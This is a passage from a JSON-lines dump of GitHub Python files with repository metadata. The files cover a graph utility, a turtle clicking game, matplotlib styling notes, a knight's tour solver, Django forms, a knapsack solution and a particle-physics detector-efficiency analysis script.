graph\n \"\"\"\n try:\n while True:\n lis = nx.find_cycle(G)\n for edge in lis:\n if edge in list(dag.edges):\n G.remove_edge(edge[0], edge[1])\n break\n except nx.exception.NetworkXNoCycle:\n assert nx.is_directed_acyclic_graph(G)\n assert nx.is_weakly_connected(G)\n return G\n","repo_name":"neuroneural/gunfolds","sub_path":"gunfolds/utils/graphkit.py","file_name":"graphkit.py","file_ext":"py","file_size_in_byte":31874,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"27195941123","text":"import turtle\nimport random\n\n\ndef calculate_grade(score): # Verilen skora göre bir not ve mesaj döndürür.\n if score >= 50:\n return \"A+\", \"You're a legend now. Congratulations! :))\"\n elif score >= 45:\n return \"A\", \"You did great. Are you up for another fight to become a legend?\"\n elif score >= 30:\n return \"B\", \"The highest score is waiting for you. You should be faster.\"\n elif score >= 15:\n return \"C\", \"You can do better. Try harder.\"\n elif score > 0:\n return \"D\", \"Try a bit more. There's still hope.\"\n else:\n return \"F\", \"don't stop continue\"\n\n\ndef setup_display(display, x_pos, align): # Bir metin göstermek için kullanılacak kaplumbağa nesnesinin\n # görünümünü ayarlamak için kullanılır.\n display.hideturtle() # hideturtle() ile kaplumbağa görünmez hale getiriliyor.\n display.penup() # penup() ile kalem kaldırılıyor.\n display.goto(x_pos, 250) # goto(x_pos, 250) ile konumu belirleniyor.\n display.write(\"\", align=align, font=(\"Arial\", 16, \"normal\")) # write(\"\", align=align, font=(\"Arial\", 16,\n # \"normal\")) ile başlangıç metni, hizalama ve font ayarlanıyor.\n\n\nclass TurtleGame:\n def __init__(self, time_limit):\n self.screen = turtle.Screen() # turtle.Screen() ile bir ekran oluşturuluyor\n self.screen.title(\"Catch The Turtle\") # başlık \"Turtle Catcher Game\" olarak ayarlanıyor.\n\n self.score = 0\n self.time_limit = time_limit\n self.game_over = False\n\n self.turtle = turtle.Turtle() # turtle.Turtle() ile bir kaplumbağa nesnesi oluşturuluyor\n self.turtle.shape(\"turtle\") # sekli \"turtle\"\n self.turtle.color(\"green\") # rengi \"green\"\n self.turtle.penup() # Kaplumbağa'nın kalemini kaldırmak için penup() kullanılıyor\n self.create_turtle() # create_turtle metodu çağrılarak rastgele bir konuma yerleştiriliyor.\n\n self.score_display = turtle.Turtle() # score icin metin olusturur\n setup_display(self.score_display, -150, \"left\") # metnin gorunumlerini ayarlar\n\n self.time_display = turtle.Turtle() # zaman icin metin olusturur\n setup_display(self.time_display, 150, \"right\") # metnin gorunumlerini ayarlar\n\n self.screen.onclick(self.click_event) # Fare tıklama olayını yakalamak için screen.onclick(self.click_event)\n # kullanilir\n\n self.update() # update metodu çağrılarak oyunun zaman içinde güncellenmesi sağlanıyor.\n\n def create_turtle(self): # Rastgele bir konuma gitmeye çalışırken Terminator hatası oluşursa, ekranın\n # kapatılmadığı kontrol ediliyor. Eğer kapatılmamışsa yeni bir kaplumbağa oluşturuluyor.\n try:\n x = random.randint(-190, 190)\n y = random.randint(-190, 190)\n self.turtle.goto(x, y)\n except turtle.Terminator:\n if not self.screen.bye():\n # Eğer ekran kapatılmamışsa, yeni bir kaplumbağa oluştur\n self.create_turtle()\n\n def click_event(self, x, y): # Fare tıklamasını yakalar.\n if self.is_inside_turtle(x, y):\n self.score += 1\n self.update_score_display()\n self.create_turtle()\n # Eğer tıklanan yer kaplumbağa içindeyse, skoru artırır, ekrandaki skor göstergesini günceller ve yeni bir\n # kaplumbağa oluşturur.\n grade, _ = calculate_grade(self.score) # puanlama sistemini uygular ve bir mesajı ekrana yazdırır.\n print(f\"Congratulations! the turtle {self.score} you caught it . your note: {grade}\")\n else:\n print(\"Oh No! You couldn't catch me. :(\")\n\n def is_inside_turtle(self, x, y): # Verilen koordinatların kaplumbağa içinde olup olmadığını kontrol eder.\n turtle_x, turtle_y = self.turtle.position()\n return abs(x - turtle_x) < 20 and abs(y - turtle_y) < 20\n\n def update(self): # Oyunun süresi bitene kadar (time_limit > 0) sürekli olarak kendisini çağırır\n if not self.game_over:\n if self.time_limit > 0:\n self.time_limit -= 1 # Her çağrıda zaman limitini azaltır ve güncellenmiş zaman göstergesini ekrana\n # yazar.\n self.update_time_display()\n self.screen.ontimer(self.update, 1000)\n else:\n if not self.game_over: # Kontrol bayrağı ekleniyor\n self.show_final_message()\n self.game_over = True # Bayrağı işaretle\n\n def update_score_display(self): # skor gostergesini duzenler\n self.score_display.clear()\n self.score_display.write(f\"Score: {self.score}\", align=\"left\", font=(\"Arial\", 16, \"normal\"))\n\n def update_time_display(self): # zaman gostergesini duzenler\n self.time_display.clear()\n self.time_display.write(f\"Time Left: {self.time_limit}\", align=\"right\", font=(\"Arial\", 16, \"normal\"))\n\n def show_final_message(self): # Oyun bittiğinde çağrılır.\n final_grade, final_comment = calculate_grade(self.score)\n final_message = f\"Game over! Your total score: {self.score}. Your note: {final_grade}. {final_comment}\"\n turtle.clear()\n turtle.write(final_message, align=\"center\", font=(\"Arial\", 18, \"normal\"))\n\n # Son notu ve mesajı ekrana yazdırır.\n\n\nif __name__ == \"__main__\":\n game = TurtleGame(time_limit=30) # oyunun süresini belirler.\n turtle.done() # turtle.done() ise turtle modülünün pencerenin kapanmasını engeller. Bu, oyunun süresi dolduktan\n # sonra ekrandaki mesajın görünmesini sağlar ve kullanıcının pencereyi elle kapatmasına kadar bekler.\n","repo_name":"UrtekinBaran/Catch_the_Turtle","sub_path":"catch_the_turtle.py","file_name":"catch_the_turtle.py","file_ext":"py","file_size_in_byte":5696,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20842050656","text":"# -*- coding: utf-8 -*-\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n# Notes from Johansson tutorial on matplotlib\r\n# https://nbviewer.org/github/jrjohansson/scientific-python-lectures/blob/master/Lecture-4-Matplotlib.ipynb\r\n\r\n\r\n# -------------------------------------------------------------------------\r\nx = np.linspace(0, 5, 10)\r\ny = x ** 2\r\n# -------------------------------------------------------------------------\r\n\r\nfig, ax = plt.subplots()\r\n\r\n# MATLAB style line color and style\r\nax.plot(x, x**2, 'b.-') # blue line with dots\r\nax.plot(x, x**3, 'g--') # green dashed line\r\n\r\n\r\n# -------------------------------------------------------------------------\r\n\r\n# Defining colours using hex codes and alpha values\r\nfig, ax = plt.subplots()\r\n\r\nax.plot(x, x+1, color=\"red\", alpha=0.5) # half-transparant red\r\nax.plot(x, x+2, color=\"#1155dd\") # RGB hex code for a bluish color\r\nax.plot(x, x+3, color=\"#15cc55\") # RGB hex code for a greenish color\r\n\r\n# -------------------------------------------------------------------------\r\n\r\n# Line and marker styles\r\n\r\nfig, ax = plt.subplots(figsize=(12, 6))\r\n\r\nax.plot(x, x+1, color=\"blue\", linewidth=0.25)\r\nax.plot(x, x+2, color=\"blue\", linewidth=0.50)\r\nax.plot(x, x+3, color=\"blue\", linewidth=1.00)\r\nax.plot(x, x+4, color=\"blue\", linewidth=2.00)\r\n\r\n# possible linestype options ‘-‘, ‘--’, ‘-.’, ‘:’, ‘steps’\r\nax.plot(x, x+5, color=\"red\", lw=2, linestyle='-')\r\nax.plot(x, x+6, color=\"red\", lw=2, ls='-.')\r\nax.plot(x, x+7, color=\"red\", lw=2, ls=':')\r\n\r\n# custom dash\r\nline, = ax.plot(x, x+8, color=\"black\", lw=1.50)\r\nline.set_dashes([5, 10, 15, 10]) # format: line length, space length, ...\r\n\r\n# possible marker symbols: marker = '+', 'o', '*', 's', ',', '.', '1', '2', '3', '4', ...\r\nax.plot(x, x + 9, color=\"green\", lw=2, ls='--', marker='+')\r\nax.plot(x, x+10, color=\"green\", lw=2, ls='--', marker='o')\r\nax.plot(x, x+11, color=\"green\", lw=2, ls='--', marker='s')\r\nax.plot(x, x+12, color=\"green\", lw=2, ls='--', marker='1')\r\n\r\n# marker size and color\r\nax.plot(x, x+13, color=\"purple\", lw=1, ls='-', marker='o', markersize=2)\r\nax.plot(x, x+14, color=\"purple\", lw=1, ls='-', marker='o', markersize=4)\r\nax.plot(x, x+15, color=\"purple\", lw=1, ls='-',\r\n marker='o', markersize=8, markerfacecolor=\"red\")\r\nax.plot(x, x+16, color=\"purple\", lw=1, ls='-', marker='s', markersize=8,\r\n markerfacecolor=\"yellow\", markeredgewidth=2, markeredgecolor=\"blue\")\r\n","repo_name":"essteer/mit-686x","sub_path":"src/tools/matplotlib/g_colors_widths.py","file_name":"g_colors_widths.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11673344457","text":"class KnightsTour:\n def __init__(self, board_size):\n self.board_size = board_size\n # Movimientos del caballo en el tablero de ajedrez, en X y Y.\n self.x_moves = [2, 1, -1, -2, -2, -1, 1, 2]\n self.y_moves = [1, 2, 2, 1, -1, -2, -2, -1]\n\n self.chess_board = [[-1 for _ in range(self.board_size)] for _ in range(self.board_size)]\n\n def solve_tour(self):\n self.chess_board[0][0] = 0\n if self.solve(1, 0, 0):\n self.show_chess()\n else:\n print('There is not solution for the problem')\n\n def solve(self, knight, x, y):\n if knight == self.board_size * self.board_size:\n return True\n for move_index in range(len(self.x_moves)):\n next_x = x + self.x_moves[move_index]\n next_y = y + self.y_moves[move_index]\n\n if self.is_valid_location(next_x, next_y):\n self.chess_board[next_x][next_y] = knight\n\n if self.solve(knight + 1, next_x, next_y):\n return True\n \n self.chess_board[next_x][next_y] = -1\n return False\n\n def is_valid_location(self, next_x, next_y):\n if next_x < 0 or next_x >= self.board_size:\n return False\n if next_y < 0 or next_y >= self.board_size:\n return False\n if self.chess_board[next_x][next_y] > -1:\n return False\n\n return True\n\n def show_chess(self):\n for i in range(self.board_size):\n for j in range(self.board_size):\n print(self.chess_board[i][j], end = ' ')\n print('\\n')\n\nif __name__ == '__main__':\n tour = KnightsTour(5)\n tour.solve_tour()","repo_name":"Mangelsanm/Python","sub_path":"Backtracking/Knights.py","file_name":"Knights.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40866539781","text":"from django import forms\nfrom .models import Picture, Product, Shop, Type, Category\n\n\n\n\n\nclass ShopForm(forms.ModelForm):\n class Meta:\n model = Shop\n fields = ('name', 'type', 'description')\n labels = {\n\t\t\t'name': \"نام فروشگاه\",\n 'type': \"نوع فروشگاه\",\n 'description': \"توضیحات فروشگاه\"\n\t\t}\n\n\n\n\n\nclass TypeForm(forms.ModelForm):\n forcefield = forms.CharField(\n required=False, widget=forms.HiddenInput(attrs={'value': 't'}), label=\"\")\n class Meta:\n model = Type\n fields = ('name',)\n labels = {\n 'name': 'نوع فروشگاه'\n }\n\n\n\n\n\nclass CategoryForm(forms.ModelForm):\n forcefield = forms.CharField(\n required=False, widget=forms.HiddenInput(attrs={'value': 'c'}), label=\"\")\n class Meta:\n model = Category\n fields = ('name',)\n labels = {\n 'name': 'نام دسته بندی'\n } \n \n \n\n\n\nclass ProductForm(forms.ModelForm):\n class Meta:\n model = Product\n fields = ('name', 'price', 'category', 'description', 'quantity') \n labels = {\n 'name': 'نام محصول',\n 'price': 'قیمت ',\n 'category': 'دسته بندی ',\n 'description': 'توضیحات',\n 'quantity': 'تعداد موجودی'\n } \n widgets = {\n 'name': forms.TextInput(attrs={'class': 'form-control'}),\n 'price': forms.NumberInput(attrs={'class': 'form-control'}),\n 'category': forms.Select(attrs={'class': 'form-control'}),\n 'description': forms.Textarea(attrs={'class': 'form-control', 'col': 30, 'row': 10}),\n 'quantity': forms.NumberInput(attrs={'class': 'form-control'}),\n\n } \n\n\n\n\nclass PictureForm(forms.ModelForm):\n class Meta:\n model = Picture\n fields = ('name', 'image', 'default')\n labels = {\n 'name': '',\n 'image': '',\n 'default': ''\n }\n widgets = {\n 'name': forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'اسم عکس '}),\n } ","repo_name":"RezaeiShervin/Elmof","sub_path":"BlogShopChat/shop/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2164,"program_lang":"python","lang":"fa","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"19206861621","text":"from sys import stdin\nreadline = stdin.readline\n\nN, K = map(int, readline().split())\ncargo = [list(map(int, readline().split())) for _ in range(N)]\n\ndef solve():\n pack = []\n for i in range(N+1):\n pack.append([])\n for c in range(K+1):\n if i == 0 or c == 0:\n pack[i].append(0)\n elif cargo[i-1][0] <= c:\n pack[i].append(max(\n cargo[i-1][1] + pack[i-1][c - cargo[i-1][0]],\n pack[i-1][c])\n )\n else:\n pack[i].append(pack[i-1][c])\n\n print(pack[-1][-1])\nsolve()\n\n\"\"\"\n해결: X\n시간: 25분\n너무 빨리 해답을 봤다. 이미 풀었던 문제인데 몰라서 마음이 급했다.\n천천히하자\n\"\"\"","repo_name":"seung-hun-h/algorithm","sub_path":"0_1.baekjoon/dp/python/BOJ12865.py","file_name":"BOJ12865.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"10396638180","text":"import uproot as up\nimport numpy as np\nimport pandas as pd\nimport scipy\nimport scipy.integrate as integrate\nimport matplotlib.pyplot as plt\nimport sys, math, os, subprocess, time\n\nsys.path.insert(0, '../../../../bin/python/')\nimport kaonlt as klt\n\nrunNum = sys.argv[1]\nMaxEvent=sys.argv[2]\n# MaxEvent=50000\n\n# Add this to all files for more dynamic pathing\n# USER = subprocess.getstatusoutput(\"whoami\") # Grab user info for file finding\n# HOST = subprocess.getstatusoutput(\"hostname\")\n\n# if (\"farm\" in HOST[1]):\n# REPLAYPATH = \"/group/c-pionlt/USERS/%s/hallc_replay_lt\" % USER[1]\n# elif (\"lark\" in HOST[1]):\n# REPLAYPATH = \"/home/%s/work/JLab/hallc_replay_lt\" % USER[1]\n\n# # Add more path setting as needed in a similar manner\n# print(\"Running as %s on %s, hallc_replay_lt path assumed as %s\" % (USER[1], HOST[1], REPLAYPATH))\n# rootName = \"%s/UTIL_PROTON/ROOTfilesProton/Proton_coin_replay_production_%s_%s.root\" % (REPLAYPATH, runNum, MaxEvent)\n\nfilename = \"/home/trottar/Analysis/hallc_replay_lt/UTIL_KAONLT/scripts/pid/OUTPUTS/pid_data.csv\" \nrootName = \"/home/trottar/Analysis/hallc_replay_lt/UTIL_KAONLT/ROOTfiles/pid_coin_offline_%s_%s.root\" % (runNum,MaxEvent)\n\n'''\nANALYSIS TREE, T\n'''\n\ntree = up.open(rootName)[\"T\"]\nbranch = klt.pyBranch(tree)\n\nCTime_ePositronCoinTime_ROC1 = tree.array(\"CTime.ePositronCoinTime_ROC1\")\nCTime_eKCoinTime_ROC1 = tree.array(\"CTime.eKCoinTime_ROC1\")\nCTime_ePiCoinTime_ROC1 = tree.array(\"CTime.ePiCoinTime_ROC1\")\nCTime_epCoinTime_ROC1 = tree.array(\"CTime.epCoinTime_ROC1\")\nP_gtr_beta = tree.array(\"P.gtr.beta\")\nP_gtr_th = tree.array(\"P.gtr.th\")\nP_gtr_ph = tree.array(\"P.gtr.ph\")\nH_gtr_beta = tree.array(\"H.gtr.beta\")\nH_gtr_th = tree.array(\"H.gtr.th\")\nH_gtr_ph = tree.array(\"H.gtr.ph\")\nH_cal_etotnorm = tree.array(\"H.cal.etotnorm\") \nH_cer_npeSum = tree.array(\"H.cer.npeSum\")\nP_cal_etotnorm = tree.array(\"P.cal.etotnorm\")\nP_aero_npeSum = tree.array(\"P.aero.npeSum\")\nP_hgcer_npeSum = tree.array(\"P.hgcer.npeSum\")\nP_hgcer_xAtCer = tree.array(\"P.hgcer.xAtCer\")\nP_hgcer_yAtCer = tree.array(\"P.hgcer.yAtCer\")\nH_gtr_dp = tree.array(\"H.gtr.dp\")\nP_gtr_dp = tree.array(\"P.gtr.dp\")\nP_gtr_p = tree.array(\"P.gtr.p\")\nQ2 = tree.array(\"H.kin.primary.Q2\")\nW = tree.array(\"H.kin.primary.W\")\nepsilon = tree.array(\"H.kin.primary.epsilon\")\nph_q = tree.array(\"P.kin.secondary.ph_xq\")\nemiss = tree.array(\"P.kin.secondary.emiss\")\npmiss = tree.array(\"P.kin.secondary.pmiss\")\nMandelT = tree.array(\"P.kin.secondary.MandelT\")\npEDTM = tree.array(\"T.coin.pEDTM_tdcTime\")\npTRIG5 = tree.array(\"T.coin.pTRIG5_ROC1_tdcTime\")\nEvtType = tree.array(\"fEvtHdr.fEvtType\")\n\nmissmass = np.array(np.sqrt(abs(emiss*emiss-pmiss*pmiss)))\n\n#\n# Mp = 0.93828\n# MPi = 0.13957018\n# MK = 0.493677\n# MMpi = np.array([math.sqrt(abs((em + math.sqrt(abs((MK*MK) + (gtrp*gtrp))) - math.sqrt(abs((MPi*MPi) + (gtrp*gtrp) - (pm*pm))) ))**2) for (em, pm, gtrp) in zip(emiss, pmiss, P_gtr_p)])\n# MMK = np.array([math.sqrt(abs((em*em)-(pm*pm))) for (em, pm) in zip(emiss, pmiss)])\n# MMp = np.array([math.sqrt(abs((em + math.sqrt(abs((MK*MK) + (gtrp*gtrp))) - math.sqrt(abs((Mp*Mp) + (gtrp*gtrp) - (pm*pm))) ))**2) for (em, pm, gtrp) in zip(emiss, pmiss, P_gtr_p)])\n\nr = klt.pyRoot()\n\n# fout = '../../../../DB/CUTS/run_type/pid_eff.cuts'\nfout = '../../../../DB/CUTS/run_type/test.cuts'\n\n# f = open('../../../../DB/CUTS/pid.cuts.tmp')\n\n# read in cuts file and make dictionary\nc = klt.pyPlot(None)\nreadDict = c.read_dict(fout,runNum)\n\n# This method calls several methods in kaonlt package. It is required to create properly formated\n# dictionaries. The evaluation must be in the analysis script because the analysis variables (i.e. the\n# leaves of interest) are not defined in the kaonlt package. This makes the system more flexible\n# overall, but a bit more cumbersome in the analysis script. Perhaps one day a better solution will be\n# implimented.\ndef make_cutDict(cut,inputDict=None):\n\n global c\n\n c = klt.pyPlot(readDict)\n x = c.w_dict(cut)\n print(\"%s\" % cut)\n print(\"x \", x)\n \n if inputDict == None:\n inputDict = {}\n \n for key,val in readDict.items():\n if key == cut:\n inputDict.update({key : {}})\n\n for i,val in enumerate(x):\n tmp = x[i]\n if tmp == \"\":\n continue\n else:\n inputDict[cut].update(eval(tmp))\n \n return inputDict\n\n# cutDict = make_cutDict(\"h_ecut_eff\")\n# cutDict = make_cutDict(\"h_ecut_eff_no_cer\",cutDict)\n# cutDict = make_cutDict(\"h_ecut_eff_no_cal\",cutDict)\n# cutDict = make_cutDict(\"p_kcut_eff\",cutDict)\n# cutDict = make_cutDict(\"p_kcut_eff_no_hgcer\",cutDict)\n# cutDict = make_cutDict(\"p_kcut_eff_no_aero\",cutDict)\n# cutDict = make_cutDict(\"p_kcut_eff_no_cal\",cutDict)\ncutDict = make_cutDict(\"h_ecut_eff_no_cer\")\nc = klt.pyPlot(cutDict)\n\ndef hms_cer():\n\n t0 = time.time()\n # coin_noID_electron\n coin_noID_electron = np.array(c.add_cut(CTime_eKCoinTime_ROC1,\"h_ecut_eff_no_cer\")-47.5)\n t1 = time.time()\n print(\"kaonlt: \",t1-t0,len(coin_noID_electron))\n\n noID_electron_iterate = [CTime_eKCoinTime_ROC1, H_gtr_dp, P_gtr_dp, P_cal_etotnorm, H_gtr_beta, H_cal_etotnorm, emiss, pmiss]\n t2 = time.time()\n # coin_noID_electron\n test_coin_noID_electron = np.array([coin-47.5\n for (coin, h_dp, p_dp, p_cal, h_beta, h_cal, emm, pmm)\n in zip(*noID_electron_iterate)\n if abs(h_dp) < 10.0\n if p_dp >-10.0 or p_dp < 20.0\n if p_cal <0.6\n if (abs(h_beta)-1.00) < 0.1\n if (coin-47.5) > -0.5 and (coin-47.5) < 0.5\n if h_cal < 1.5])\n t3 = time.time()\n print(\"[]: \",t3-t2,len(test_coin_noID_electron))\n\n t4 = time.time()\n test2_coin_noID_electron = [] \n for i,evt in enumerate(CTime_eKCoinTime_ROC1):\n if abs(H_gtr_dp[i]) < 10.0:\n if P_gtr_dp[i] >-10.0 or P_gtr_dp[i] < 20.0:\n if P_cal_etotnorm[i] <0.6:\n if (abs(H_gtr_beta[i])-1.00) < 0.1:\n if (CTime_eKCoinTime_ROC1[i]-47.5) > -0.5 and (CTime_eKCoinTime_ROC1[i]-47.5) < 0.5:\n if H_cal_etotnorm[i] < 1.5:\n test2_coin_noID_electron.append(evt-47.5)\n \n t5 = time.time()\n print(\"loop\", t5-t4,len(test2_coin_noID_electron))\n \n # mm_noID_electron\n mm_noID_electron = np.array(c.add_cut(missmass,\"h_ecut_eff_no_cer\"))\n \n # coin_PID_electron\n coin_PID_electron = np.array(c.add_cut(CTime_eKCoinTime_ROC1,\"h_ecut_eff\")-47.5)\n \n # mm_PID_electron\n mm_PID_electron = np.array(c.add_cut(missmass,\"h_ecut_eff\"))\n\n h_cer_data = {\n\n \"h_cer_eff\" : len(mm_noID_electron)/len(mm_PID_electron),\n }\n\n f = plt.figure(figsize=(11.69,8.27))\n plt.style.use('default')\n\n plt.hist(missmass,bins=c.setbin(missmass,800,0,2.0),label='no cuts',histtype='step', alpha=0.7, stacked=True, fill=True)\n plt.hist(mm_noID_electron,bins=c.setbin(mm_noID_electron,800,0,2.0),label='no ID',histtype='step', alpha=0.7, stacked=True, fill=True)\n plt.hist(mm_PID_electron,bins=c.setbin(mm_PID_electron,800,0,2.0),label='PID',histtype='step', alpha=0.7, stacked=True, fill=True)\n plt.legend(loc=1)\n plt.title('Missing Mass ($GeV^2$)', fontsize =20)\n\n f.savefig('OUTPUTS/missmass_%s.png' % runNum)\n\n noID_plot = c.densityPlot(coin_noID_electron, mm_noID_electron, 'Electron Coincident Time vs Mass ($GeV^2$) for ROC1 (w/out HMS Cherenkov cuts)','Time (ns)','Mass (GeV/c^2)', 200, 800, c,-10,10,0,2.0)\n # plt.ylim(-180.,180.)\n # plt.xlim(0.,50.)\n\n noID_plot[1].savefig('OUTPUTS/noID_hms_cer_%s.png' % runNum)\n\n PID_plot = c.densityPlot(coin_PID_electron, mm_PID_electron, 'Electron Coincident Time vs Mass ($GeV^2$) for ROC1 (with HMS Cherenkov cuts)','Time (ns)','Mass (GeV/c^2)', 200, 800, c,-10,10,0,2.0)\n # plt.ylim(-180.,180.)\n # plt.xlim(0.,50.)\n\n PID_plot[1].savefig('OUTPUTS/PID_hms_cer_%s.png' % runNum)\n \n print(\"=====================\")\n print(\"= %s HMS CER DONE =\" % runNum)\n print(\"=====================\\n\\n\")\n \n return h_cer_data\n\ndef hms_cal():\n \n # coin_noID_electron\n coin_noID_electron = np.array(c.add_cut(CTime_eKCoinTime_ROC1,\"h_ecut_eff_no_cal\")-47.5)\n\n # mm_noID_electron\n mm_noID_electron = np.array(c.add_cut(missmass,\"h_ecut_eff_no_cal\"))\n \n # coin_PID_electron\n coin_PID_electron = np.array(c.add_cut(CTime_eKCoinTime_ROC1,\"h_ecut_eff\")-47.5)\n \n # mm_PID_electron\n mm_PID_electron = np.array(c.add_cut(missmass,\"h_ecut_eff\"))\n \n h_cal_data = {\n\n \"h_cal_eff\" : len(mm_noID_electron)/len(mm_PID_electron),\n }\n\n f = plt.figure(figsize=(11.69,8.27))\n plt.style.use('default')\n\n plt.hist(missmass,bins=c.setbin(missmass,800,0,2.0),label='no cuts',histtype='step', alpha=0.7, stacked=True, fill=True)\n plt.hist(mm_noID_electron,bins=c.setbin(mm_noID_electron,800,0,2.0),label='no ID',histtype='step', alpha=0.7, stacked=True, fill=True)\n plt.hist(mm_PID_electron,bins=c.setbin(mm_PID_electron,800,0,2.0),label='PID',histtype='step', alpha=0.7, stacked=True, fill=True)\n plt.legend(loc=1)\n plt.title('Missing Mass ($GeV^2$)', fontsize =20)\n\n f.savefig('OUTPUTS/missmass_%s.png' % runNum)\n\n noID_plot = c.densityPlot(coin_noID_electron, mm_noID_electron, 'Electron Coincident Time vs Mass ($GeV^2$) for ROC1 (w/out HMS Calorimeter cuts)','Time (ns)','Mass (GeV/c^2)', 200, 800, c,-10,10,0,2.0)\n # plt.ylim(-180.,180.)\n # plt.xlim(0.,50.)\n\n noID_plot[1].savefig('OUTPUTS/noID_hms_cal_%s.png' % runNum)\n\n PID_plot = c.densityPlot(coin_PID_electron, mm_PID_electron, 'Electron Coincident Time vs Mass ($GeV^2$) for ROC1 (with HMS Calorimeter cuts)','Time (ns)','Mass (GeV/c^2)', 200, 800, c,-10,10,0,2.0)\n # plt.ylim(-180.,180.)\n # plt.xlim(0.,50.)\n\n PID_plot[1].savefig('OUTPUTS/PID_hms_cal_%s.png' % runNum)\n \n print(\"=====================\")\n print(\"= %s HMS CAL DONE =\" % runNum)\n print(\"=====================\\n\\n\")\n \n return h_cal_data\n\ndef shms_hgcer():\n \n # coin_noID_electron\n coin_noID_electron = np.array(c.add_cut(CTime_eKCoinTime_ROC1,\"p_kcut_eff_no_hgcer\")-47.5)\n\n # mm_noID_electron\n mm_noID_electron = np.array(c.add_cut(missmass,\"p_kcut_eff_no_hgcer\"))\n \n # coin_PID_electron\n coin_PID_electron = np.array(c.add_cut(CTime_eKCoinTime_ROC1,\"p_kcut_eff\")-47.5)\n \n # mm_PID_electron\n mm_PID_electron = np.array(c.add_cut(missmass,\"p_kcut_eff\")) \n\n p_hgcer_data = {\n\n \"p_hgcer_eff\" : len(mm_noID_electron)/len(mm_PID_electron),\n }\n\n f = plt.figure(figsize=(11.69,8.27))\n plt.style.use('default')\n\n plt.hist(missmass,bins=c.setbin(missmass,800,0,2.0),label='no cuts',histtype='step', alpha=0.7, stacked=True, fill=True)\n plt.hist(mm_noID_electron,bins=c.setbin(mm_noID_electron,800,0,2.0),label='no ID',histtype='step', alpha=0.7, stacked=True, fill=True)\n plt.hist(mm_PID_electron,bins=c.setbin(mm_PID_electron,800,0,2.0),label='PID',histtype='step', alpha=0.7, stacked=True, fill=True)\n plt.legend(loc=1)\n plt.title('Missing Mass ($GeV^2$)', fontsize =20)\n\n f.savefig('OUTPUTS/missmass_%s.png' % runNum)\n\n noID_plot = c.densityPlot(coin_noID_electron, mm_noID_electron, 'Pion Coincident Time vs Mass ($GeV^2$) for ROC1 (w/out SHMS HGCer cuts)','Time (ns)','Mass (GeV/c^2)', 200, 800, c,-10,10,0,2.0)\n # plt.ylim(-180.,180.)\n # plt.xlim(0.,50.)\n\n noID_plot[1].savefig('OUTPUTS/noID_shms_hgcer_%s.png' % runNum)\n\n PID_plot = c.densityPlot(coin_PID_electron, mm_PID_electron, 'Pion Coincident Time vs Mass ($GeV^2$) for ROC1 (with SHMS HGCer cuts)','Time (ns)','Mass (GeV/c^2)', 200, 800, c,-10,10,0,2.0)\n # plt.ylim(-180.,180.)\n # plt.xlim(0.,50.)\n\n PID_plot[1].savefig('OUTPUTS/PID_shms_hgcer_%s.png' % runNum)\n \n print(\"========================\")\n print(\"= %s SHMS HGCER DONE =\" % runNum)\n print(\"========================\\n\\n\")\n \n return p_hgcer_data\n\ndef shms_aero():\n \n # coin_noID_electron\n coin_noID_electron = np.array(c.add_cut(CTime_eKCoinTime_ROC1,\"p_kcut_eff_no_aero\")-47.5)\n\n # mm_noID_electron\n mm_noID_electron = np.array(c.add_cut(missmass,\"p_kcut_eff_no_aero\"))\n \n # coin_PID_electron\n coin_PID_electron = np.array(c.add_cut(CTime_eKCoinTime_ROC1,\"p_kcut_eff\")-47.5)\n \n # mm_PID_electron\n mm_PID_electron = np.array(c.add_cut(missmass,\"p_kcut_eff\")) \n\n p_aero_data = {\n\n \"p_aero_eff\" : len(mm_noID_electron)/len(mm_PID_electron),\n }\n\n f = plt.figure(figsize=(11.69,8.27))\n plt.style.use('default')\n\n plt.hist(missmass,bins=c.setbin(missmass,800,0,2.0),label='no cuts',histtype='step', alpha=0.7, stacked=True, fill=True)\n plt.hist(mm_noID_electron,bins=c.setbin(mm_noID_electron,800,0,2.0),label='no ID',histtype='step', alpha=0.7, stacked=True, fill=True)\n plt.hist(mm_PID_electron,bins=c.setbin(mm_PID_electron,800,0,2.0),label='PID',histtype='step', alpha=0.7, stacked=True, fill=True)\n plt.legend(loc=1)\n plt.title('Missing Mass ($GeV^2$)', fontsize =20)\n\n f.savefig('OUTPUTS/missmass_%s.png' % runNum)\n\n noID_plot = c.densityPlot(coin_noID_electron, mm_noID_electron, 'Pion Coincident Time vs Mass ($GeV^2$) for ROC1 (w/out SHMS Aerogel cuts)','Time (ns)','Mass (GeV/c^2)', 200, 800, c,-10,10,0,2.0)\n # plt.ylim(-180.,180.)\n # plt.xlim(0.,50.)\n\n noID_plot[1].savefig('OUTPUTS/noID_shms_aero_%s.png' % runNum)\n\n PID_plot = c.densityPlot(coin_PID_electron, mm_PID_electron, 'Pion Coincident Time vs Mass ($GeV^2$) for ROC1 (with SHMS Aerogel cuts)','Time (ns)','Mass (GeV/c^2)', 200, 800, c,-10,10,0,2.0)\n # plt.ylim(-180.,180.)\n # plt.xlim(0.,50.)\n\n PID_plot[1].savefig('OUTPUTS/PID_shms_aero_%s.png' % runNum)\n \n print(\"=======================\")\n print(\"= %s SHMS AERO DONE =\" % runNum)\n print(\"=======================\\n\\n\")\n \n return p_aero_data\n\ndef shms_cal():\n \n # coin_noID_electron\n coin_noID_electron = np.array(c.add_cut(CTime_eKCoinTime_ROC1,\"p_kcut_eff_no_cal\")-47.5)\n\n # mm_noID_electron\n mm_noID_electron = np.array(c.add_cut(missmass,\"p_kcut_eff_no_cal\"))\n \n # coin_PID_electron\n coin_PID_electron = np.array(c.add_cut(CTime_eKCoinTime_ROC1,\"p_kcut_eff\")-47.5)\n \n # mm_PID_electron\n mm_PID_electron = np.array(c.add_cut(missmass,\"p_kcut_eff\")) \n\n 